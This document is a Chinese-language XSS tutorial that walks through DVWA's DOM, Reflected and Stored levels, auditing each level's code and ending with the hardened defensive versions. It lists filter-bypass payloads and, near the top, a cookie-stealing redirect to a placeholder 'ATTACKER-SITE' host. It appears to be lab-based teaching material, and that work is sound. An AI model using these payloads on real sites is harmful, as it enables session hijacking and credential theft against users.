漏洞介绍 定义
XSS
本名Cross-Site Scripting
跨站脚本,是攻击者将恶意JavaScript
脚本植入服务器而形成对访问者的攻击。
攻击流程
攻击者通过评论区一类的存储点,将写好的JavaScript
脚本写入服务器。
服务器存储后,在用户访问页面时,携带恶意脚本返回给用户。
此时恶意代码被执行,用户的信息将会发送到攻击者的服务器,完成攻击。
漏洞详解 原理
使用页面元素,比如<script>JavaScript-Code</script>
包含恶意代码植入,若没有相应的防护,该代码作为呈现部分加入到页面上(评论区),很可能被识别为合法的页面元素执行。
攻击方式
攻击方式主要有以下三种:
使用document.cookie
发送用户的cookie
,攻击者可以用来无账号密码登入用户账号。
使用addEventListener
记录键盘输入,其中可能记录密码等秘密信息。
构造虚假DOM
树,插入虚假登录表单,诱骗用户进入自己构造的钓鱼网站。
常用语句
1 <script > alert(XSS)</script >
1 <script > window .location ='http://ATTACKER-SITE/?cookie=' +document .cookie </script >
1 <script > window .location .href ='http://ATTACKER-SITE/' ;</script >
1 2 3 4 <sCript > ...</scriPt > <scr<script > ipt>...</scr<script > ipt> <img src ='1' onerror =alert( 'XSS ')> <script > eval (\u0061\u006c\u0065\u0072\u0074 (1 ))</script >
onerror (event
)图片或者视频加载出错时,执行事件event
。
eval
()可以执行Unicode
转义后的语句。
1 2 <div onmousemove ='JavaScript-Code' > <div onmouseover ='JavaScript-Code' >
onmousemove (event
)指针在该区域移动时执行事件event
。
onmouseover (event
)指针覆盖该区域时执行事件event
。
1 ";Your-JavaScript-Code;"
当插入的语句出现在变量或者其他位置,为了保证语句执行,需要先闭合前一个语句。
漏洞复现 攻击环境
根据网上的分类,找到一个比较好的博客 ,参考图如下。
三种分类方法并不是相互冲突的,可以进行组合,为了条理清晰,这里分开介绍(统一使用JSXSS
)。
这里分别使用DVWA
的DOM
、Reflected
、Stored
展开演示。
DOM 介绍
每个页面都有自己的DOM
树,通过修改DOM
树使得恶意脚本被执行。
DOM
即Document Object Model
文档对象模型,所以后面代码主要注重前端。
Low 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <select name ="default" > <script > if (document .location .href .indexOf ("default=" ) >= 0 ) { var lang = document .location .href .substring (document .location .href .indexOf ("default=" )+8 ); document .write ("<option value='" + lang + "'>" + decodeURI (lang) + "</option>" ); document .write ("<option value='' disabled='disabled'>----</option>" ); } document .write ("<option value='English'>English</option>" ); document .write ("<option value='French'>French</option>" ); document .write ("<option value='Spanish'>Spanish</option>" ); document .write ("<option value='German'>German</option>" ); </script > <option value ="English" > English</option > <option value ="French" > French</option > <option value ="Spanish" > Spanish</option > <option value ="German" > German</option > </select >
审计
前端将GET
上传的default
参数加入到<select>
元素的选项卡中,每当页面被呈现时,恶意代码就可以运行。
后端没有做任何防护,意思就是随便注。
document.location.href.indexOf(str)
返回字符串str
第一个字符的下标。
document.location.href.substring(start, end)
构造下标从start
到end
的子串。
攻击
直接在URL
中通过修改default
参数上传XSS
注入。
Medium 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php if ( array_key_exists ( "default" , $_GET ) && !is_null ($_GET [ 'default' ]) ) { $default = $_GET ['default' ]; if (stripos ($default , "<script" ) !== false ) { header ("location: ?default=English" ); exit ; } } ?>
审计
前端代码没变(之后也应该不变),后端增加了对<script
的过滤。
这里可以使用没有被屏蔽的标签进行注入。
攻击
将<option>
和<select>
标签闭合,保证img
标签可以插入。
Payload
如下
1 </option > </select > <img src =1 onerror =alert( 'XSS ')>
此时src
链接必然找不到图片并且报错,onerror
收到后即执行XSS
语句。
High
代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if ( array_key_exists ( "default" , $_GET ) && !is_null ($_GET [ 'default' ]) ) { switch ($_GET ['default' ]) { case "French" : case "English" : case "German" : case "Spanish" : break ; default : header ("location: ?default=English" ); exit ; } } ?>
审计
设置白名单,只有规定的几种选项可以输入。
若不在白名单内,默认设置为English
。
攻击
使用&
或者#
分隔参数,$_GET['default']
指向分隔符之前的内容,参与后端判断语句。
根据前端代码可知,分隔符之后的内容也会载入到前端页面中,故可实现恶意代码的注入。
防御 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <select name ="default" > <script > if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); document.write("<option value ='" + lang + "' > " + (lang) + "</option > "); document.write("<option value ='' disabled ='disabled' > ----</option > "); } document.write("<option value ='English' > English</option > "); document.write("<option value ='French' > French</option > "); document.write("<option value ='Spanish' > Spanish</option > "); document.write("<option value ='German' > German</option > "); </script > <option value ="English" > English</option > <option value ="French" > French</option > <option value ="Spanish" > Spanish</option > <option value ="German" > German</option > </select >
审计
之前的恶意代码之所以能够运行就是因为在呈现页面元素时,将URL
中已经编好码的参数使用decodeURI()
解码,解码后的代码才可以执行。
前端不解码直接呈现参数lang
,导致恶意代码编码后无法被解析。
Reflected 介绍
攻击者构造恶意链接 诱骗受害者点击,受害者点击后便触发恶意代码运行,完成攻击。
Low 代码 1 2 3 4 5 6 7 8 9 10 11 <?php header ("X-XSS-Protection: 0" );if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { echo '<pre>Hello ' . $_GET [ 'name' ] . '</pre>' ; } ?>
审计
前端负责输入,后端接收到name
参数后没有防范措施,直接打印在屏幕上。
攻击
Medium 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php header ("X-XSS-Protection: 0" );if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { $name = str_replace ( '<script>' , '' , $_GET [ 'name' ] ); echo "<pre>Hello ${name}</pre>" ; } ?>
审计
使用str_replace()
函数,将<script>
过滤后打印。
攻击
借用str_replace
的过滤机制,<script>
被替换为空字符串,构造Payload
。
1 <scr<script > ipt>alert ('XSS' ); </script >
High 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php header ("X-XSS-Protection: 0" );if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { $name = preg_replace ( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i' , '' , $_GET [ 'name' ] ); echo "<pre>Hello ${name}</pre>" ; } ?>
审计
使用正则表达式过滤法,杜绝了构造<script>
的方法。
黑名单太过单一,可以使用其他标签进行注入。
攻击
1 <img src =1 onerror =alert( 'XSS ')>
防御 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $name = htmlspecialchars ( $_GET [ 'name' ] ); echo "<pre>Hello ${name}</pre>" ; } generateSessionToken ();?>
审计
日常check token
。
htmlspecialchars()
函数将name
参数转化后,代码无法运行。
htmlspecialchars ( string $string
, int $flags
= ENT_COMPAT | ENT_HTML401 , string $encoding
= ini_get(“default_charset”) , bool $double_encode
= true
) : string将特殊字符转换为HTML
实体。
Stored 介绍
攻击者将恶意代码上传到服务器端存储(如评论区),每当服务器展示时,恶意代码都会运行。
Low 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php if ( isset ( $_POST [ 'btnSign' ] ) ) { $message = trim ( $_POST [ 'mtxMessage' ] ); $name = trim ( $_POST [ 'txtName' ] ); $message = stripslashes ( $message ); $message = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $message ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $name = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $name ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message ', '$name ' );" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); } ?>
审计
对name
和message
参数进行修剪,去除多余字符。
在前端页面对name
的大小限制为10
个字符,对message
限制为50
个字符。
使用stripslashes()
函数对message
进行转义字符过滤,预防SQL
注入。
trim ( string $str
, string $character_mask
= “ \t\n\r\0\x0B” ) : string除去以下特殊字符。
字符
意义
“ “
空格
“\t”
制表符
“\n”
换行符
“\r”
回车符
“\0”
空字节符
“\x0B”
垂直制表符
攻击
name
限制太大,只能从message
下手,并且没有任何XSS
防御手段,直接键入XSS
语句即可。
Medium 代码 1 2 3 4 5 6 7 8 9 10 11 12 <?php ... $message = strip_tags ( addslashes ( $message ) ); ... $message = htmlspecialchars ( $message ); $name = str_replace ( '<script>' , '' , $name ); ...
审计
使用 addslashes()
函数对 message
中的某些字符进行过滤。
使用 strip_tags()
函数去除标签。
对name
中的<script>
标签进行屏蔽。
strip_tags ( string $str
, string $allowable_tags
= ? ) : string从字符串 str
中去除 HTML
和 PHP
标签。
addslashes ( string $str
) : string在字符串 str
中的单引号('
)、双引号("
)、反斜线(\
)与 NUL
(null
字符)前,加上反斜线(\
)转义。
攻击
message
这个注入点被完全屏蔽了,但是name
只是简单过滤,于是从name
下手。
前端对name
限制了文本长度,打开F12
修改前端限制。
使用name
作为注入点,对<script>
的屏蔽构造Payload
。
1 <scr<script > ipt>alert('XSS');</scr<script > ipt>
High 代码 1 2 3 4 5 6 7 <?php ... $name = preg_replace ( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i' , '' , $name ); ...
审计
知道Medium
会放过name
注入后,对<script>
进行了正则表达式的完全屏蔽。
攻击
屏蔽了<script>
标签后,使用其他标签注入XSS
语句即可。
防御 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if ( isset ( $_POST [ 'btnSign' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $message = trim ( $_POST [ 'mtxMessage' ] ); $name = trim ( $_POST [ 'txtName' ] ); $message = stripslashes ( $message ); $message = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $message ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $message = htmlspecialchars ( $message ); $name = stripslashes ( $name ); $name = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $name ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $name = htmlspecialchars ( $name ); $data = $db ->prepare ( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data ->bindParam ( ':message' , $message , PDO::PARAM_STR ); $data ->bindParam ( ':name' , $name , PDO::PARAM_STR ); $data ->execute (); } generateSessionToken ();?>
审计
日常check token
。
在Medium
的基础上,对name
施加同message
一样的过滤,使得注入点消失。
使用PDO
机制预防SQL
注入。